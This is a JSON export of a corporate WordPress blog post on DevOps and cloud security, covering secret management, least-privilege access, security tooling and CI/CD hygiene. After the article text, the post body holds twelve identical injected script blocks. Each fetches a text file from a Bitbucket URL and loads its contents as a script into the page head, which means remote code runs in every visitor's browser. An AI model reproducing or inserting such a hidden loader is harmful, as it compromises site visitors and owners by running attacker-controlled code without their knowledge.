{"id":10864,"date":"2023-09-04T10:06:00","date_gmt":"2023-09-04T03:06:00","guid":{"rendered":"https:\/\/bestarion.com\/us\/?p=10864"},"modified":"2025-07-24T18:02:27","modified_gmt":"2025-07-24T11:02:27","slug":"devops-cloud-security","status":"publish","type":"post","link":"https:\/\/bestarion.com\/us\/devops-cloud-security\/","title":{"rendered":"The Importance of DevOps in Cloud Security Management"},"content":{"rendered":"<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"size-full wp-image-10868 aligncenter\" src=\"https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/07\/devops-cloud-security.png\" alt=\"devops-cloud-security\" width=\"800\" height=\"400\" title=\"\" srcset=\"https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/07\/devops-cloud-security.png 800w, https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/07\/devops-cloud-security-300x150.png 300w, https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/07\/devops-cloud-security-768x384.png 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">The transition to cloud computing infrastructure has resulted in a distributed software development landscape, which has aided in the growth and size of software development. DevOps enables teams to create, test, and deploy software faster by leveraging various services throughout the development lifecycle. However, doing so has introduced new cybersecurity vulnerabilities that traditional information security silos are ill-equipped to manage. The DevSecOps sector &#8211; a field whose central pillar is secret management &#8211; was designed to secure the DevOps environment. Therefore, cloud security has become part of the DevOps team&#8217;s duties. Being proactive about cloud security management (CSM) is critical.<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Cloud Security: Secrets and How to Keep Them Safe<\/span><\/h2>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">In addition to generating software, developers must now protect their organizations&#8217; secrets from unauthorized or unauthenticated access during development. But what exactly is a secret? Secrets are digital credentials that enable access control, whether human-to-application or application-to-application. Passwords, encryption, certificates, and API keys are examples of &#8220;secrets.&#8221;<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">To safeguard code from data leaks caused by secret leaks, DevOps must first be aware of the many ways secrets spread in their environment. Secrets snowball via seven drivers: Cloud-native development, multi-cloud infrastructure, microservices architecture, transitions from user to machine identity, AL\/ML\/data analytics, IoT\/embedded devices, and DevOps. These drivers create vulnerabilities because they provide more potential for errors, such as hardcoding secrets to accelerate testing, using non-secure open-source libraries, or neglecting to consider the cloud&#8217;s security versus security on the cloud.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">While various commercial and open-source technologies help manage secrets, consider your organization&#8217;s budget and requirements and the technologies you currently use. Your DevOps team&#8217;s experience with secret management and the opportunities to implement and keep those technologies current and up to date.<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">8 Ways DevOps Teams Can Help Secure Cloud Infrastructure<\/span><\/h2>\n<h3><span data-preserver-spaces=\"true\">1. Determine the Essential Needs.\u00a0<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Because forewarned is forearmed, the sooner this process begins, the better. Most companies already use the cloud somehow, so it can be hard to step back and see the big picture.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Don&#8217;t forget that AWS, Azure, and Google Cloud aren&#8217;t the only cloud services. These SaaS apps, from the accounting stack to Zoom, are part of cloud services.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Access to the<\/span><span data-preserver-spaces=\"true\">\u00a0CI\/CD pipeline<\/span><span data-preserver-spaces=\"true\">\u00a0must be defined and managed transparently.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">With a majority of data breaches caused by human error that leads to misconfiguration, secrets leakage, and poor digital hygiene, it falls to\u00a0<\/span><span data-preserver-spaces=\"true\">DevOps and DevSecOps<\/span><span data-preserver-spaces=\"true\">\u00a0to manage who has access to what &#8211; a basic requirement of every connected security system.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">The DBA needs different data access than the development team, for example. You can reduce risk by following the least access privilege policy with a properly designed stack.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">All IaaS, PaaS, or XaaS must be secured at the most fundamental credential level. Google sends regular alerts to its corporate clients, informing them of suspected credential leaks.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Whatever you do, don&#8217;t forget ShadowIT \u2013 make sure that everyone in the organization is aware that their credential leak could be the weakest link to the crown jewels. ShadowIT raises the risk of a credential leak simply because IT isn&#8217;t aware of the many external platforms suddenly connected to controlled internal systems.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Lastly, learn from other people&#8217;s mistakes.\u00a0<\/span><a class=\"editor-rtfLink\" href=\"https:\/\/www.intel.com\/content\/dam\/www\/public\/us\/en\/documents\/guides\/cloud-computing-security-planning-guide2.pdf\" target=\"_blank\" rel=\"noopener nofollow\"><span data-preserver-spaces=\"true\">Intel has a handy security checklist\u00a0<\/span><\/a><span data-preserver-spaces=\"true\">you can use as a basis for identifying cloud security requirements.<\/span><\/p>\n<h3><span data-preserver-spaces=\"true\">2. Define the Architecture\u00a0<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Once you&#8217;ve established your organization&#8217;s cloud security needs, you&#8217;ll have a clearer view of the cloud services you already use and those you need to add.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Security on the cloud vs. cloud security should always be prioritized. Remember that you are responsible for the security of your programs, data, operating system, user access, and virtual network traffic. Aside from that, brush up on your configuration fundamentals. More than 5% of AWS S3 buckets are incorrectly configured to be publicly accessible. A simple misconfiguration in Kafdrop recently exposed the Apache Kafka stacks of some of the world&#8217;s major corporations.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">While the top three clouds have spent millions of dollars safeguarding their stacks, PaaS companies do not have those resources, so check, check, and double-check. There&#8217;s a reason it&#8217;s referred to as &#8220;zero trust.&#8221;<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Again, credential protection is critical in SaaS and web security.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Each architecture type necessitates its form of security &#8211; use caution. A hybrid cloud infrastructure, for example, requires a &#8220;triple whammy&#8221; of protection: on-premises security with all ports closed, surface area tracking, and a highly active Security Operations Center (SOC). The public cloud element must be secured using the most up-to-date security technology available with that public cloud stack. The connectivity between them must also be protected against attacks.<\/span><\/p>\n<h3><span data-preserver-spaces=\"true\">3. Analyze Existing Controls and Identify Gaps.\u00a0<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Building the security stack piecemeal does not work; building from the ground up is a more complete and sound strategy. Here are a few options that allow you to do so:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span data-preserver-spaces=\"true\">Broker of cloud access security (CASB)<\/span><\/li>\n<li><span data-preserver-spaces=\"true\">Platforms for Cloud Workload Protection (CWPP)<\/span><\/li>\n<li><span data-preserver-spaces=\"true\">Management of cloud security posture (CSPM)<\/span><\/li>\n<li><span data-preserver-spaces=\"true\">Security testing of static applications (SAST)<\/span><\/li>\n<li><span data-preserver-spaces=\"true\">Preventing data loss (DLP)<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">A CASB serves as a go-between for the company and the cloud service provider, providing configuration auditing, data loss protection, governance, and monitoring services. Broadcom, Palo Alto, and Forcepoint are examples of common CASBs.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">CWPPs protect against system overloads such as DDoS or poor programming that could result in memory overruns. They monitor your cloud&#8217;s compute resources placed on the cloud infrastructure. CWPPs are available from CheckPoint, Trend Micro, and Carbon Black.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">CSPMs, such as Spectral, help detect human errors (one of the leading causes of security breaches) by offering continuous auditing to detect misconfiguration.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">To prevent secrets from being exposed to the world due to human error\/omission, SAST examines source code for potential vulnerabilities, such as hard-coded database access passwords forgotten after testing.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">DLPs can be a component of a CASB or a standalone solution that provides tools and rules to secure sensitive data by reducing\/eliminating the risk of data exfiltration, whether by malicious actors or internal resources.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">These tools can be used separately or as part of a broader security stack. They can be used throughout the organization or in specific areas, such as SAST, for development.<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">\u00a04. Concentrate on Safeguarding your Cloud Secrets<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Firstly, no secrets will ever leak in an ideal world due to education, a security-focused culture, and adequate technologies. However, human error will inevitably triumph. So, although the adage is &#8220;faster, cheaper, better, pick two,&#8221; the new one must include &#8220;more secure.&#8221; Of course, early money is generated during &#8220;faster&#8221; and &#8220;cheaper&#8221; &#8211; but the consequences of disregarding &#8220;more secure&#8221; might have far-reaching consequences for the firm.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Developers are pressured to get code out the door as soon as possible. They may take shortcuts or simplify access across tools using a single easy-to-remember password or rotating passwords in an easy-to-guess pattern.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">As a result, the emphasis must be on credential protection. Where possible, keys and passwords should be rotated automatically, eliminating the need for human intervention. They must be capable of withstanding brute-force attacks.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Don&#8217;t forget to train personnel to recognize &#8220;normal&#8221; dangers like phishing, smishing, poisoned URLs, etc.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">We all make mistakes, no matter how meticulous a team is.<\/span><\/p>\n<h3><span data-preserver-spaces=\"true\">5. Scan for Misconfigurations<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">As previously said, developers have been focused on getting code out the door in the race for faster, quicker, and better. One method for speeding up the process is to code secrets into the setups, such as database access. Occasionally, they cut corners by setting &#8220;read access rights&#8221; to &#8220;public&#8221; for QA and testing.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">The problem is that developers are often so preoccupied with other tasks that they forget to remove these access privileges, exposing the entire system. Because no one has the time to analyze every line of configuration code, automated configuration scanning is the key to detecting these problems.\u00a0<\/span><\/p>\n<h3><span data-preserver-spaces=\"true\">6. Emphasize Least-access Principles\u00a0<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Everyone is wholly competent and honest in an ideal world, never making mistakes or considering wrongdoing.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">In the real world, enforcing the principle of least access privilege \u2013 restricting access to those who need it \u2013 would allow for better access management by lowering the chance of errors, limiting the extent of harm, and increasing security. For example, such a procedure may have considerably decreased the damage done at Sage when a single accounting staffer went rogue. True, least access privilege is not a complete solution and must be supplemented with continual monitoring, but it can be strengthened by:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span data-preserver-spaces=\"true\">End-user machine administrator credentials are being removed.<\/span><\/li>\n<li><span data-preserver-spaces=\"true\">Improved account credential security<\/span><\/li>\n<li><span data-preserver-spaces=\"true\">Keeping an eye on privileged sessions to ensure proper usage<\/span><\/li>\n<li><span data-preserver-spaces=\"true\">Unless there is a special requirement, restricting developer access<\/span><\/li>\n<li><span data-preserver-spaces=\"true\">Restricting access to manufacturing systems<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Once again, a technological answer is available. Monitoring, auditing, and compliance enforcement are all provided by privileged access management systems. A good privilege access solution enables on-the-fly assignment or denial, assuring just as-needed access.\u00a0<\/span><\/p>\n<h3><span data-preserver-spaces=\"true\">7. Secure your CI\/CD Pipeline Thoroughly and Regularly<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Shifting left is critical. Security should begin with the first line of code and not be relegated to testing or QA. Proactive security decreases the possibility of problems across the SDLC, from preventing noncompliance and misconfiguration to limiting secret leaking and credential vulnerabilities.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Proactive and reactive security must coexist at every stage of development to keep everything handy while increasing response. Every developer must consider security and new and old code must be inspected for vulnerabilities. The best place to begin is simple: write new code securely and look for problems when reviewing old code.<\/span><\/p>\n<h3><span data-preserver-spaces=\"true\">8. Keep it Simple\u00a0<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Automation is the simplest and quickest way to assure security across the SDLC. Important solutions include configuration inspection, secret scanners, identity access control, governance, compliance, masking, and synthetic data. The key is to find the right combination of cloud security, false positives, and getting good code out the door quickly and cheaply.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">The ideal solution is the simplest: create a secure stack with the fewest tools, offering the highest level of security &#8211; and the fewest false positives. Unfortunately, getting it is a bit difficult. Many organizations provide all-in-one solutions or compatible suites that may simplify the process, but you can&#8217;t always count on that. As with any project, the best strategy is to take it one step at a time.<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-preserver-spaces=\"true\">Never forget security on the cloud vs. security of the cloud, even though shared accountability is rarely fully realized. Examine your service agreements to identify and remedy any gaps your cloud provider has left for you.<\/span><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<p><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The transition to cloud computing infrastructure has resulted in a distributed software development landscape, which has aided in the growth and size of software development. DevOps enables teams to create, test, and deploy software faster by leveraging various services throughout the development lifecycle. However, doing so has introduced new cybersecurity vulnerabilities that traditional information security [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":10867,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[3202],"tags":[],"class_list":["post-10864","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-devops"],"_links":{"self":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/posts\/10864","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/comments?post=10864"}],"version-history":[{"count":2,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/posts\/10864\/revisions"}],"predecessor-version":[{"id":52521,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/posts\/10864\/revisions\/52521"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/media\/10867"}],"wp:attachment":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/media?parent=10864"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/categories?post=10864"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/tags?post=10864"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}